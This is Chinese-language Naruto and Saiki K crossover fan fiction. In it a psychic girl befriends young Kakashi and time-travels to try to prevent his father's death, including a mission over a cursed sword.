《[火影]齐木楠子,忍界最强黑手》 1. 降临 ‘我叫齐木楠子,是个超能力者。现在正就读于木叶小学一年级,想过平静的生活。’ 六岁的齐木楠子端坐在窗明几净的教室里,目光稍移。 ‘但是,为什么是这样的世界啊?现在的我,不是正应该作为搞笑漫画的人物,在和平的世界里为妈妈打酱油吗?为什么会跑到忍者的世界呢?’ 话虽如此,齐木楠子知道为何。 作为世上最强的超能力者,哪怕她不刻意训练,超能力也在随时随地疯涨。 读心、预知未来、时间跳跃、石化、瞬间移动、变身……这世界上基本没有她做不到的事。 等到她实力增长到世界的极限,地球就会爆炸。 不,实际上,她的地球已经爆炸过一次。 作为唯一幸存者,她毫不犹豫地使用了时间跳跃。 新的世界线覆盖了原本的世界末日。 而后,她就来到了这个世界,成为了木叶孤儿院的一名孤儿。 ‘为了这种理由,被原本的世界排斥在外,跑到这种充满着热血少年的世界中,我,还真是悲惨啊。’ 脑海里叽叽喳喳的声音挤作一团,齐木楠子面无表情。 她无法抑制自己的心灵感应能力,而6岁的小学生喧闹的如同农田里的鸭子。 各种各样的念头和想法如潮水般涌来,让她不堪其扰。 【新来的吗?】对,就是新来的。 【看那细胳膊细腿不像是忍者的模样啊。】天生就是这样,但依旧可以把你打趴下哦。 【哈哈,这么小就戴眼镜,四眼田鸡~】那是因为不想让你变成石像啊笨蛋。 如果不戴上眼镜,她的眼睛就能瞬间让人石化。 可她只想过平静的生活,不想要引人瞩目。 于是她开口简单介绍:“我叫齐木楠子,是个孤儿。” 班级里静了一瞬,而后许多嘈杂的声音纷至沓来。 旁边的班主任苦笑道:“就这么简单吗?可以多说说爱好什么的呀。” “没有什么特别喜欢的,也没有什么特别讨厌的。”她说着,脑海中是另外一番想法。 ‘骗人的,我最喜欢的是咖啡果冻,讨厌自以为是的人。所以说,这个令人厌烦的介绍环节可以结束了吧?’ 她正准备走下去,一个声音就跳入耳中。 【头发……很好看,还挺可爱的嘛。】 ‘可爱?’她抬头望去。 灰发的覆面系男孩被她的目光吓了一跳,眉峰一挑,就撇过脸去。 齐木楠子并不是故意的,但是透视的能力已经自然而然地使了出来。 ‘哦呼,是个帅哥。’她心里想着,一言未发。 ----------------- 忍者小学的生活还真是平静,如果没有那么多的霸凌事件就好了。 ‘啊……不对,现在被霸凌的好像是我自己。不过,仅仅因为戴着眼镜这样的小事,你们真的是没事干吗?’ 她虚着眼,面上神色未动半分,周围几个小孩的声音其实并未入耳,更清晰的其实是他们的心声。 【仗着自己长得可爱,就敢不理我!】抱歉啊,我就是那么可爱,也真的不想理你。 【哼!看我让你哭!】不如把你自己的鼻涕擦一擦再说吧。 【有你求我的时候!】那应该是不会有这样的时机了。 吐槽跟从着心音不自觉地从大脑中跳出。 她最后做出了总结:‘呀嘞呀嘞,果然处理这种事情最好的方法,就是告老师吧?’ 不是说她就是想告老师,而是一旦打造出“告状精”的人设,他们自然就会避而远之吧。 可他们也没上手,只是说话不好听而已。 ‘要么装作自尊心受挫,假哭一下?……糟糕,我还不会假哭啊。’ 神色有些木然,齐木楠子已经开始思考自己碰瓷面前男孩的可能性,身后不远处就传来一个响亮的心声。 【欺负女生,也太过分了吧!】 ‘是……旗木卡卡西?’楠子有些意外自己居然记住了对方的名字,但这也可以理解,毕竟他居然让自己“哦呼”了一声。 这可是对于帅哥最高的赞誉了。 “砰”的一声,石头准确地击中领头者的脑门。 “是谁?!”那领头的家伙愤怒地叫着,看到旗木卡卡西更是大怒,“卡卡西!又是你!” ‘又是?’楠子有些意外,她还以为卡卡西是为了英雄救美呢,‘在这样的世界,我也变得自我意识过剩了吗,还真是……嗯?’ 【这种时候,当然要英雄救美了。哼,这个角度超帅!】 齐木楠子嘴角微微抽动了一瞬,转头去看旗木卡卡西。 他穿着一身簇新的衣服,围着带有手里剑纹样的可笑围脖,如果不是她可以透视的话,就根本看不出帅气可言啊。 ‘啊……出现了,帅哥美女的自我意识过剩,我要引以为戒才是。’ 她木着脸,旗木卡卡西已经一个起跳平稳落地。 以6岁小孩的身手来说,可谓十分矫健,可齐木楠子从小就会瞬移,因此也不会露出震惊的神情。 反而,卡卡西此刻的心声才令她震惊。 【平稳落地,十分帅气!呵,不愧是我!】 ‘说到底……为什么要给自己的落地姿势打分啊喂!’听着那雀跃的心音,齐木楠子几乎以为自己是不是听错了什么。 “你们再欺负齐木同学,我可要告诉老师了啊。”他一手叉着腰,一手随意摊开,像是对那霸凌三人组十分无奈的模样,一双孩童的眼睛,反而显露出一点大人气。 “哼!你等着!我们走!” 看着领头的人离开了,卡卡西才摇了摇头,转向了楠子,好心问道:“你没事吧?齐木同学。” “嗯,没事。”齐木楠子并未张口。 在一开始来到这个世界的时候,她就更改了这个世界忍者的认知,让他们接受自己可以借用传心术和他们沟通。 可这个认知改成了什么样,她就没法选择了。 “啊,是腹语术吗?”【真可爱。】 “……嗯,是这样。”不要随意夸别人可爱啊,男人……哦不,男孩。 齐木楠子目光冷淡地看着旗木卡卡西,心中却在吐槽,‘一直夸6岁的小女孩可爱什么的,哪怕是同龄,也有点变态了啊。’ “啊……真没办法,明明应该欢迎新同学的,可是却让你受到了伤害。” “没关系。”那根本不算是伤害。 “我请你吃个零食好了。” “不需要。”楠子准备离开了。 “我想想看,小卖部那边好像有甜点,不知道你……” 感受到对方的脑海如同连连看一样出现了数个甜点,其中甚至有咖啡果冻,齐木楠子重重攥住了旗木卡卡西的手,目光灼灼,张口说话:“请务必请我,谢谢!” ----------------- 木叶的风吹过树林,沙沙作响。 旗木卡卡西一手撑着下巴,另一只手放在桌面上,看着对面的粉发女孩。 和初见的那天不同,现在的她捧着咖啡果冻,幸福地像只可爱的粉色小猫。 啊……当然,这不是说他对猫有什么好感啦。 他是狗派,狗派! 可是他依旧能回想起第一天见她的模样。 穿着白色的水手服和绿色的短裙,不像是忍者的装扮,倒像是城市里来的乖乖女。 粉色的头发如同市场上甜蜜的棉花糖,在接近脖颈处恣意地微翘着。 微圆的脸蛋上,皮肤白皙,没有一丝经历风吹雨打的痕迹。 这样的她,反而有双死寂的眼睛,像是看不见世间万物,反而让对方如同精致的玩偶,一不小心就会摔碎。 现在旗木卡卡西其实已经被特殊招募,承担 一些简单的忍者任务,班主任也隐约知道这一点,拜托他来关照齐木楠子。 可是看她现在幸福的模样,根本就是因为她没有吃到甜食吧! “是哦,就是因为没有吃到神圣的咖啡果冻。” “嗯?”卡卡西蹙眉,“我将话说出口了吗?抱歉。” 面前的女孩不知道为何,顿了一下,才又注视着他,“……没事。你是在这个世界里,第一个请我吃咖啡果冻的人,我会记住你的好意的。” “这没什么。”说着感谢,你不是连笑容都没有露出吗? 卡卡西心里想着,神色也像是冷淡。 可对面的女孩却像是听到了他的心声一般,她眨动了一下洋娃娃般的眼睛,“我只是生性不爱笑。果冻,能再要一个吗?” “啊……没问题。” 卡卡西说着,付钱的模样,倒确实挺帅气的。 至少,齐木楠子是这样认为的。 能为她买咖啡果冻的,都是大好人! 作为一个孤儿,她现在正居住在木叶孤儿院。 这里大多都是战争孤儿,有木叶忍者的孩子,也有不知道从哪里救回的。 孤儿院的院长药师野乃宇是个真正善良的忍者,若非如此,齐木楠子也是无法在那里居住下去的。 在这座名为木叶的村落里,有许多的小学,但只有一所能被称为“木叶小学”。 据说,那里都是精英的孩子,毕业就绝对能成为下忍。 而齐木楠子,则是木叶孤儿院第一个考入木叶小学的孩子。 当然,是为了那份不高的孤儿奖学金。 “楠子,回来啦!”随着一个小孩看到,其他孩子也围了过来。 “楠子姐,木叶小学好玩吗?” “今天教什么啦?能教教我吗?” “为什么回来迟了呀?” 楠子一一回答:“不好玩。在学认字,有人请吃零食。” “楠子,你交到朋友了吗?”野乃宇欣喜的声音响起,她甚至走过来半跪在地上,抱住了她的肩膀,仔细打量她。 “不算朋友,但被请了咖啡果冻。”所以就请每天给我准备一个吧,我知道你看得懂! 楠子以眼神强烈示意。 “啊!”野乃宇完全回避了,高兴地站起来,“被请客了,怎么能不回礼?明天我给你做好饭团带过去吧!” “不用哦,我要咖啡果冻!”楠子“说”着。 “饭团饭团~加点什么好呢?”野乃宇完全不看她,微笑地转到了厨房去了。 楠子望着她的背影,有些难以理解。 ‘明明孤儿院很缺钱,却要做这些。’ 可是野乃宇的话,她不得不听,第二天就带上了饭团和卡卡西一起分享。 主要是卡卡西吃饭团,她吃咖啡果冻。 她也想问卡卡西,他的父母不给他准备午饭吗? 可是还未张口,她就已经读到了卡卡西的心声。 【小卖部的东西已经吃腻了,可母亲已经逝去了,父亲也要忙任务的事,天才的旗木卡卡西可不能让他担心啊。呵,不愧是我。】 ‘啊……小孩子被照顾才是正常的哦。’至少她的父母是那样认为的。 ‘卡卡西,很可怜’楠子心中如此认定,卡卡西的想法却截然不同。 【但是如果说想要天天吃热腾腾的饭菜,不就显得我太可怜了吗?苦恼。】 他吃完了饭团,慎重道:“明天,你还是照顾好自己就行。” “可是我想吃咖啡果冻。”楠子面无表情。 “呃?……那,你请我吃午餐,我请你吃咖啡果冻吧。”【这样子,应该就是等价交换了吧,嘿,真是天才的主意!】 挖取果冻的动作一顿,楠子嘴角微微上扬了一毫米。 只是,这样的日子并没有持续太久。 半年后,卡卡西没来上学,老师说,他的父亲……逝去了。 2. 心在雨天 “老师,父母逝去,那应该是很伤心的一件事吧?” “是哦,毕竟再也感受不到来自父母的爱了。”正在整理的野乃宇回过头,看向了楠子,“楠子,你想自己的父母了吗?” ‘想吗?’楠子不知道,她的父母自然是很爱她,但是她还有一位兄长,那么自己的父母,应当就不会太过难过吧。 ‘是不是应该在那个时间线,删去父母对自己的记忆呢?不过,他们也是搞笑漫画里的人物呢,应该很快就会忘记了。’ 楠子默默想着,可她也没想着主动去做些什么。 她来到这个世界,不是为了打打杀杀,而是为了过平静的生活的啊。 现在的她对于这个世界的血腥完全没有概念。 日复一日,楠子所能做的就是每日用奖学金买一个咖啡果冻,等待某人出现,而后在傍晚的时候吃掉而已。 直到有一天,卡卡西回来了。 她举起了手中黄色的甜品。 “啊,卡卡西,你回来了啊,要吃……”咖啡果冻吗? “抱歉,让一下。” 楠子的眼睛微微睁大,有些诧异地看向了卡卡西的背影,乃至对方转过了转角,还望着那里。 因为旗木卡卡西嘴上说着“让一下”,心里可完全不是那样想的啊! 【可恶,为什么要拿别人撒气!太逊了……】 【明明已经决定调整好了,要正常对待大家的。】 【忍者……怎么能这么软弱呢?】 【想一想……忍者的铁则……镇定下来……可是……】 【父亲……你为什么抛下我而去呢?】 沉闷的声音最后带上了潮意,这时候楠子才恍然察觉。 ‘原来……心声也是可以哭泣的啊……’ 她看着手中的咖啡果冻,再次抬头看着那墙角。 卡卡西就在那里。 脚步迟疑了一瞬,她向着那里迈进,在听到卡卡西思考要不要逃开的下一瞬,在转角的另外一侧坐了下来。 咖啡果冻被放在了地上,纤细的手指将它推向了另外一个主人。 “我很喜欢吃咖啡果冻哦,只要品尝到甜的滋味,应该就不会那么苦涩了吧?” 墙角的另一边,又有细微的声音传来。 那是卡卡西的心声。 【楠子……居然把她最爱的甜点给我了?方才我还……】 “我原谅你了,经历这样的事情,无论是谁,无论是多大的年纪,都是难免的。”楠子抱着膝盖,面无表情地仰头看着走廊的窗外。 这个角度的视线只能看到外面湛蓝的天空和棉花糖一样的白云,根本无法让人发现有的人的心脏正在雨季。 她听见淅沥沥下雨的声音,伴随着如雷鸣般的闷响,让她也联想起了自己的父母。 哪怕是搞笑人物,应该也是会伤心的吧? 眼底微微涌出些热意。 她现在才意识到,自己哪怕有着心灵感应,从小学什么都很快,已经明白了很多知识和道理,但也只是个六岁就因为不可抗力离开家里的小女孩而已。 这股潮意和另外一股杂音糅合在了一起。 【再怎么样,父亲也不会回来了……我被抛弃了……父亲……为什么要?神啊,如果可以的话,请让父亲回到我的身边吧。但这……根本不可能吧?】 ‘不,其实是有办法的。’楠子抬起手捂住了自己的眼睛,努力维持自己搞笑漫画主角的人设,在心中默念: ‘既然你诚心诚意地请求了,那么……就由我来实现你的愿望吧。’ ----------------- ‘算了,还是让他随意去死好了。’齐木楠子瞪着死鱼眼,看着眼前的景象。 时空跳跃二十回,世界最强的超能力者齐木楠子身体并不觉得疲惫,心灵却已经千疮百孔。 ‘看到了残花要死,喝了酒要死,吃到了卡卡西做的晚饭要死…… ‘人……到底为什么是这么脆弱的生物啊!’ 插手坐在教室当中,齐木楠子感觉自己几乎要气炸了。 她所使用的时空跳跃并不是没有条件。 第一,不能在同一时间出现两个自己,所以她要利用2个小时,使用变身术,变成男性的自己。 第二,不能太靠近那个时段的自己,否则被自己发现的那个瞬间,就会被踢回来,也会变回原本的女性性别。 第三,就算改变了那个时空的事,也必须要回到这个时空,才能看到结果。 可以说,这时空跳跃的唯一优点就是覆盖穿越前的时间线,而不是造就一个新的时间线。 可是,二十回啊……整整二十回啊…… 为什么卡卡西的父亲旗木朔茂就是那么想死呢? 而且……她为什么没有发现,旗木卡卡西那段时间,其实也在痛苦呢。 蹙紧了眉,齐木楠子高冷少女版正在绝赞上演中。 一个声音穿越其他声音的嘈杂,渐渐走近,让她的眉头也越皱越紧。 【道歉的话,只拿一个咖啡果冻,是不是不够呢?父亲去世了,房屋的保养费还需要支付,要好好计划之后的支出了,不过,每天请楠子吃果冻的钱应该是有的吧?……要么就直接放她桌子上?一只手插兜,随意一点,这样会比较帅吗?如果让楠子觉得我是个软弱的家伙就太差劲了。】 咖啡果冻被放在了桌上。 楠子余光一扫,就看到了旗木卡卡西一手插兜,神色状若随意。 “楠子,那天的回礼。” 她没有动作,亦没有说话,卡卡西的心音就又传了过来。 【果然有点莫名其妙吗?下次还是送点别的。现在不能动荤腥,不然可以烤……】 楠子叹了口气,说:“我很喜欢咖啡果冻,所以上供这个就够了。” “上供?” “是啊。”楠子站了起来,一手抓住了那个咖啡果冻,另外一只手举了起来,“班长,孤儿院的猫要生了,我要请假。” “什、什么?”班长回过头来,诧异一时,“之前是狗,而后又轮到猫了吗?” “是的。”楠子斩钉截铁,脑海里却忍不住想。 ‘已经让我哦呼两次了哦,所以,不用担心,你应当还是很帅的呀。’ 想着,她已经走出了教室,见四下无人。 楠子扶了扶眼镜。 “瞬移,发动。” ----------------- 如果无法通过改变旗木朔茂死亡的必然事件,就必须要搞清楚对方为什么死亡。 在花费了2个小时变身后,齐木楠子回到了更早的过去。 ‘……居然是个阴天?’楠子抬眼望向黑压压的天空,‘如果下雨就不好了。’ 因为才6岁,即便变成男孩,她也显得雌雄莫辨,穿着白色的水手服,绿色的短裙变作了短裤,除了头发的颜色深一点,变成了潮男,几乎没有太大的差异。 所以,齐木楠子也不想和这个时间的人有过多的交集,否则 被认出或记住就会很麻烦。 她使出了隐身能力。 说起来,这个能力也有缺陷,不能被触碰到,否则就会显形,现在的维持时间,大概是1个小时的样子。 ‘就因为能力丰富又强力,所以我才是世界最强啊。’齐木楠子面无表情,跟在了旗木卡卡西的身后。 耳边依旧是他的心声。 关于忍术学习的,关于要开始学习做饭让父亲开心的,偶尔,他还会想起自己,告诫自己要在父母双亡的楠子面前打起精神来。 ‘呀嘞呀嘞,才六岁就能控制自己的心绪,旗木卡卡西你是怪物吗?’槽多无口,齐木楠子望着那灰色的后脑勺,几乎想着要么打开看看。 可撑着伞的卡卡西已经到了家门前。 他提着在店里买来的餐点,顿了一顿,才努力让自己的声音变得高昂。 “父亲,我回来了!今天我带了吉野屋的鳗鱼饭哦!听说是新鲜打上来的鳗鱼,很好吃哦!……额?等等!” 旗木卡卡西冲向了室内,鳗鱼饭被甩下。 ‘那可是超贵的鳗鱼饭!’ 齐木楠子的眼睛微微睁大,不自觉地抬手去接。 ‘糟糕……’ 手心微微一沉,她的身形突兀地出现在了旗木家的玄关。 趁着未被发现,楠子缩在了玄关的墙后,清晰听见了里间的声音。 “旗木朔茂!你为什么要救下我!为什么?!”男人的声音如同撕裂的布帛,带着让人想要捂住耳朵的嘶哑和痛苦。 “如果不是你!我们的任务会成功的!为什么!你为什么要救下我?!” “叔叔,父亲他……唔!” 楠子不由得侧身,透视直接让她看到了屋内的景象。 两个忍者对峙着,旗木卡卡西捂着手臂,歪倒在一边。 不对,说对峙也有些不对。 因为其中一个手持着苦无,而另外一个头发灰白的男人正跪坐在地上,一双手放在大腿之上,眼睛无神地看向了榻榻米。 ‘……即便是自己的儿子被苦无刺伤,被甩在一边,也无动于衷吗?’ 齐木楠子眉头拧了起来。 她也在男人断续的嘶吼和话语中弄清楚了是怎么回事。 简而言之,旗木朔茂带队出任务,队伍里最后只剩下了那个持苦无的男人和旗木朔茂。 旗木朔茂原本可以抛弃他,而后拿上任务物品走人的,却最终选择了抛弃任务物品,带上他离开。 任务失败,活下来的人受到了嘲讽和指责,而哪怕他这个被救之人,也不由得心生怨怼。 那怨毒的心声比最冷酷的刀还要锋利,因为楠子也同时听到了两个人心被锯开的声音。 旗木朔茂的,和……旗木卡卡西的。 ‘就因为这样,所以之后卡卡西才会才说什么忍者的规则吗?’楠子心中沉重,‘等等!’ 感应到那个男人要做什么,楠子一步跨出,快速念道:“隔空移物!” 下个瞬间,仿若像是给心爱的男人奉上爱心便当,装着鳗鱼饭的便当盒撞击在了旗木朔茂有着八块腹肌的腹部。 楠子手中一轻,捧着那把锋利的苦无,微张着嘴看向了房间里诧异的三人。 ‘呃?算了,笑一个吧?’她试着僵硬地勾起嘴角,“那个……嗨!” 面对众人从诧异转为怪异的眼神,她恢复到面无表情。 刘海的阴影遮住眼睛,她想: ‘果然,还是消除他们记忆比较好吧!’ 3. 改变 “抱歉,我似乎不该来。”她转身欲走,那边某个耍帅小孩慌张的心声却拉住了她。 【楠子?……为什么会这样?可是父亲……】 ‘啧……卡卡西,这样可就一点都不帅气了哦。’强自忽略了心中的不忍,楠子深呼吸,回过头来,目光沉沉。 不去看已经负伤的卡卡西,反而盯着两个不成器的大人。 “我还是来问一下吧。”她面色严肃,“所以说,到底是怎么回事?” “什么?”原本持刀的男人有些诧异。 楠子转向了他,“你有请求他救你吗?” “……没!当然没有!”他大声说,“我怎么会请求他救我?!都是他!都是你,旗木朔茂!” 转头朝着旗木朔茂,他的怒火似乎更加高涨了,楠子却从他与旗木朔茂的心声当中拼凑出了事情可能的原貌。 沉默了两秒,她说:“好吧,你是没有请求。可是……已经死了太多人了啊。” 她的声音清淡地没有带一丝感情,是那样平铺直叙,可是两个大人皆是一震。 楠子垂下目光,“从原本的五人小队,在潜入的时候,就减员了一人,到了拿到物品,只剩下你们三人,被强敌追上,一念之间,为了保护任务物品,又死去了一个。结果,回头一望,身边就剩下你了。” “……就算这样,就算这样,我也没有求他……!” “没有救下一个3岁孩子的父亲,没有救下一对操劳父母的女儿,没有救下一个可敬的朋友,结果……就剩下你了。一个天赋一般,却异常努力,非常认真,信赖着前辈的,才当上忍者不到一年的孩子。” 楠子抬起了眼皮,视线越过了那个男人,直视着旗木朔茂,“而你却因为他的一念之差,卷入到这样的风波之中,乃至于会对自己曾经的前辈持刀相向。 “啊……我到底是多么不称职的忍者啊,身边的人接连不断地死去,已经不想再当忍者了,不想再看着周围的人变质死去了,你就是这样想的吧,旗木朔茂。” 楠子那双无机质的眼睛盯着旗木朔茂,口中棒读不停。 她听到了几人杂乱的心声。 男人在愤怒,卡卡西在说‘怎么会?不可能……’,而后是旗木朔茂。 灰败的头发,疲惫的眼神,唏嘘的胡渣…… 这个男人的心还是一片混沌,自己的话语其实并没有在那片深海里激起许多涟漪。 他与她对视着,或者更像是对峙着。 他分出了一部分心神思考她有着怎样的忍术和能力,为什么会还是个小学生,大部分却还沉浸在那无止境的噩梦之中,回忆着自己的无能,和队友死去的一幕幕。 不仅是这一次,不仅是这几个…… 楠子沉默地望着,心却渐渐下沉。 ‘糟糕啊,真的就像是坏掉的橘子一样。其实早就腐烂了,只是在某个时刻爆发了而已。’ 她垂下了目光,还准备说点什么,比如说冷笑话什么的,毕竟,她只是个搞笑漫画里的最强超能力者啊。 那个捧着鳗鱼饭的男人却怒吼一声:“你在说什么呀!完全听不明白!” 他向着自己冲来,楠子听到了卡卡西内心的惊呼,却没有躲避。 因为在下一秒,木叶白牙就闪现在了她的面前,捉住了那个男人抬起的拳头,目光疲惫却严厉。 “良太,不要闹了。” 楠子抬起眼,和那双黑沉的眼眸对上,因对方的审视和脑海中的黑暗心中一惊。下一秒,她返回了自己的时空。 扶了扶自己的眼镜,她心下庆幸。 ‘好险!差点就要脱离我搞笑漫画人物的本色,被那些脏东西污染了!走开啊,你们这些可恶的黑泥!’ 她作势弹了弹自己的袖子。 这一次时间跳跃所造成的回忆灌注入她的大脑,让她不由得呲牙。 ‘好啊,旗木朔茂,这样都还要死是吗?你可真有种!’ 他有种就算了,可将自己的儿子托付给完全不了解的超能力小学生是怎么回事啊! 她才不要六岁就做其他人的童养媳! 哪怕是帅哥,也该判无期徒刑吧?是吧? 还好,齐木楠子已经想好了计策。 ‘既然是任务的问题,那就只要任务成功就可以了吧?’ 她抬起双手,交叉放至鼻下,垂下目光。 ‘完成任务,这对世界最强,能有什么难度吗?呵……’ 正想着,另外一边似乎就传来一个声音。 “楠子?你在这?” 楠子的眼角微微一跳。 她怎么能预料到呢?回到自己的时空,在已经无人的空教室里cos碇源堂,还能被卡卡西发现。 尤其那个家伙又在耍帅,站在了自己身后不远处,手插着兜,忧郁地看着窗外。 “父亲的话,你不必放在心上。我不知道你的能力是怎么回事,但是……和我住在一起,应该是比在孤儿院好吧?” ‘不哦,在孤儿院睡大通铺,可比两个六岁小孩住鬼宅好多了。’ 楠子甚至想建议卡卡西也从那个死了父亲的鬼宅里搬出来,和自己住孤儿院。 “你不愿意吗?”他似乎垂下了头。 楠子之所以没有回头也知道,是因为即便是在这种时候,卡卡西的心声还在念叨怎样才能让她心软呢。 是啦,虽然旗木朔茂的死亡感觉很近,实际上对于卡卡西来说,已经是一个多月前的事了。 在这一个多月的时间内,除了处理父亲的后事,他最想做的就是完成“拐带超能力幼女”这项父亲留给他的任务了。 说是任务,其实也是寄托。 只是…… ‘能听到你心声的我很难忍住尴尬啊,三室一厅都要抠出来了。’ 可楠子还在听着。 谁让,哪怕是这样滑稽的场景,她还是听到了卡卡西心内下雨的声音呢? ----------------- ‘呼……难熬,真是太难熬了……’ 齐木楠子不知道顾忌一个男孩的心意也会那么难熬。 再次变作男孩,齐木楠子动作迅速地抹了一把额头上的汗,继而变得面无表情。 二十多次的时间跳跃,已经足够她拼凑出事情的大概。 就像之前那次跳跃,她对旗木朔茂讲的,也不仅仅是那一次跳跃所发现的,而是之前所有跳跃记忆的总和。 ‘任务出发的时间和地点,都已经搞清楚了。’ 她这次跳跃到这个时间,就为了这件事。 而只要完成这次时间线,那么自己暴露超能力的事应该也会被覆盖。 ‘这样,我就又能过平静的生活了吧?’楠子思量。 远方五个忍者如兔起鹘落,几乎快要消失在眼前。 楠子跟了上去。 说实话,迄今为止,她依旧不会任何忍术,也不会体术。 但身为世界最强的超能力者已经足够。 随着超能力的增长,她的身体素质也在增长。 无论是速度、力气、亦或者身体的防御能力,都不是普通小孩,乃至普通成年忍者能比的。 她甚至能更改几人的意识,让他们不发现她的存在,但是,那样也可能会在他们的脑海中注入其他奇奇怪怪的想法。 所以,不到万不得已,她不想尝试。 就这样行走了几个日夜,他们来到了波之国,来寻一把名刀。 ‘这不是很简单吗?’齐木 楠子想着,提前一步到任务地点,运用催眠术将所有的敌国忍者催眠,而后只要等着旗木朔茂一行人到来即可。 身后忽有劲风袭来,楠子心中微动,拽着面前被她催眠的忍者闪身躲开。 大刀将原本站立的地方劈成两半,一个眼睛小小,面带斑纹的男人警惕地盯着她。 “你是谁?” ‘糟糕,被发现了。’楠子放下抬起的手,“只是一个过路的路人甲而已。” 那男人面色阴晴不定,明显不信,半晌,沉声说:“你是来取那把名刀的吗?还是放弃好了,那把刀现在由水之国的忍者守护。” ‘啊嘞…现在是想要用大国忍者的名头吓退我吗?’ 楠子眉头微动,可是,她并不会因此而退缩。 抬起手,她准备再次使用催眠术,那男人目光一紧,语速顿时飞快。 “如果你会那样奇妙的术,为什么不直接杀死我们呢?反正如果我们保护不了这把刀,也只不过一死而已。” ‘一把刀而已,怎么会呢?’楠子心中想着。 毕竟在木叶,旗木朔茂的死亡也大多是他自己的原因。 任务失败会有惩罚,但是这毕竟只是一把刀而已,在她朴素的价值观里,怎么也比不上忍者的性命。 何况是能把木叶白牙逼到必须二选一境地的忍者,在哪个国家都应该很宝贵吧? ‘这应当只是话术而已。’ 她不再听对方的讲述,运用自己的能力,将对方催眠。 “呼……这样就可以了。”将一堆忍者,连带着仆从一起横七竖八地摆放在地下室里,楠子终于松了口气。 楠子希望这件事能和平解决,而不是一个没注意,这帮被自己制服的人反而被旗木朔茂干掉了。 在暗处观察着旗木大叔一行人小心翼翼地进来,而后满怀疑虑地拿着刀离开,直到水之国的边境之外。 她自认为任务已经完成,于是解除了催眠术。 ‘现在,旗木大叔的任务圆满完成,至于那个忍者说的惩罚应该只是假的吧?’ 当然应该是有惩罚的,但是到了死亡那一步也太…… 她迟疑了两秒。 ‘算了,还是使用千里眼来看看吧。’ 她不喜欢用这个术,因为一使用就会变成斗鸡眼,太有损美少女的形象了。 两只眼眸倏而向中间靠拢,楠子在心中低念:“千里眼!” 千里之外的景象让她的瞳孔骤然一缩。 有人冲向了……等等,那个斗笠,那是水影吗? 而周围的那些……倒地的那些是…… 她几乎感觉有些眩晕。 再怎么因为心灵感应而早早成熟,她依旧只是个6岁的,搞笑漫画的人物啊。 因这巨大的惊讶,她一瞬间被弹回了原本的时间线。 “楠子……你在这里啊……” “啊……卡卡西。”楠子望着眼前灰发的卡卡西,有些呆然,“叔叔他……” 卡卡西的眼角划过一丝黯然,又强自撑起精神。 “没什么,你也听说了吧,我的父亲……在战场上死去了。” “你?战场?等等,战争?”楠子还未回过神来,可是心灵感应已经让她听见了卡卡西的心声。 【要怎么和楠子说,是因为父亲的任务才导致战争的呢?大家都在责怪父亲……】 【忍者就是要服从命令,可是……】 【可是……为什么我,依旧不甘心呢?】 那繁复的心音之中,楠子张口结舌,神色逐渐沉凝,脑海里旗木朔茂、火影水影,以及那个大刀忍者的脸来回交替。 ‘啧……你们这些家伙,非要为难我一个搞笑漫画的女主角是吧?可恶!’ 4. 名刀 不完成任务会被言语霸凌,完成了任务掀起了战争,又死在了战场上,你们这些木叶人究竟是在闹哪样啊?! ‘哦不,我现在也是木叶人。……那算了。’ 齐木楠子如今一身黑衣,带着面具,抱起手臂,神色沉凝地站在名刀之前。 此刀名为“压切”,据说是战国时代流传下来的名刀。 楠子将刀抽出,雪亮的刀身上有着皆烧痕迹,刀背自护手至大锋划出一条黑色的弧线,姿态凛冽。 这是一把利刃,可是,自楠子听到的心声来看,这把刀现在只是作为收藏品收藏而已。 ‘就因为你,导致了战争吗?’楠子忍不住在心中想。 可是她也明白,这把刀大概只是一个借口而已。 现在的火之国并不安定,只是她此前想过平静的生活,因而捂住了耳朵,闭上了眼睛。 等到一回神,才发现战争这只臭狗已经跑到了她的门口汪汪叫了。 如果她年纪再长一些,可以像是野乃宇一样行走于战场之上,但她现在如今不过是个六岁的小女孩。 战争啊……和平啊……责任啊……离她都太过遥远了。 手中的刀剑传来凉意,楠子微微回神,眉头一蹙。 ‘等等……这把刀……’她正想细细再检查一番,就听到一片嘈杂的心声,目光顿时冷淡。 “就停在那里就好,否则,我不介意把你们全部干掉。”楠子只是平淡说出,但是已经足够让人背后发凉。 她甚至感觉听到了身后忍者咽口水的声音。 他们当然得害怕。 面前这个和水影仿佛的矮子居然毫无声息地出现在他们层层守卫的名刀之前! ‘啧!矮子怎么你了!我才六岁,还能长高的,好吗?!’ 楠子额角一跳,语气越发严厉。 “领头的人留下,其他人退下。” 她抚摸着刀身,姿态看似毫无防备,却在听到身后忍者的心声之后微微叹气。 ‘果然,不试一试,也不是忍者了。’ 她身形微动,下一秒又提着刀站在了原位。 1km/h到1200km/h,这不是她速度的极限,只是她给自己做的限制。 依靠着速度,她甚至可以做到类似瞬移的效果。 出现在对方身后,即便不用太大的力气,但那重击足以让人昏厥。 领头的那个忍者兀自凛然,周围的同伴却已躺了一地。 “我用的是刀背。”楠子说着,还在观察着手中的刀。 它没有因为超高的速度而有所损耗,无论是护手还是刀锋都稳定如初,甚至更鲜亮了几分。 楠子不由得再次确认,“我感觉的到,它在渴望战斗和鲜血,现在,却只是作为藏品吗?” 那领头的忍者,握紧了他手中的大刀,努力镇定来答:“这是大名的收藏品,原本是火之国那里流传过来的名刀。” “火之国?”这倒是新的信息。她眨了眨眼,问:“这把刀,没有人用吗?那岂不是太悲哀了?” “它……会妨主,哪怕是佩戴也会。” “妨主?”听到这好奇的声音,那忍者也勉强镇定了心神,说:“自他原本的主人那里,所有持有这把刀的人都会遭遇横祸。无论是大名还是雾隐村的忍者,无人能避过,所以它才被收藏在这里。” 他本意是让对方知难而退,或者至少因为他坦诚的言语,放过他的队友,对方却只关注其他事情。 “哦,那就是没人会用这把刀喽?”就为了一把没人会用的破刀,来来回回死了那么多人,给自己添了那么多麻烦啊。 齐木楠子盯着那把刀,目光逐渐变得危险起来。 “你……你究竟是想要做什么?这是水之国忍者所守护的刀,如果你想要夺走,我们也只不过一死而已。” 那忍者的声音逐渐发狠,楠子在心中叹气。 “我知道,我知道的啊……” ‘我还知道,在你的同伴死去之后,你冲向了自己国家的影。’ 究竟他有没有逃脱,她倒是不知道了。 脚步微动,她转过身来,让那个忍者看清楚自己无机质的双眼。 “我这次来,是想要和你做个交易。当然,你的选择,只有‘同意’而已。” ----------------- 旗木朔茂觉得有些不对劲,水之国的忍者难道松懈至此吗? 一路自水之国的边境寻来,到了此处大宅。 原本的情报就仿若出了差错。 应该防守严密的地方,偏偏没有见到一个忍者。 “旗木前辈,是陷阱吗?” “良太,别问朔茂了,就算是陷阱,我们也必须要闯一闯。” 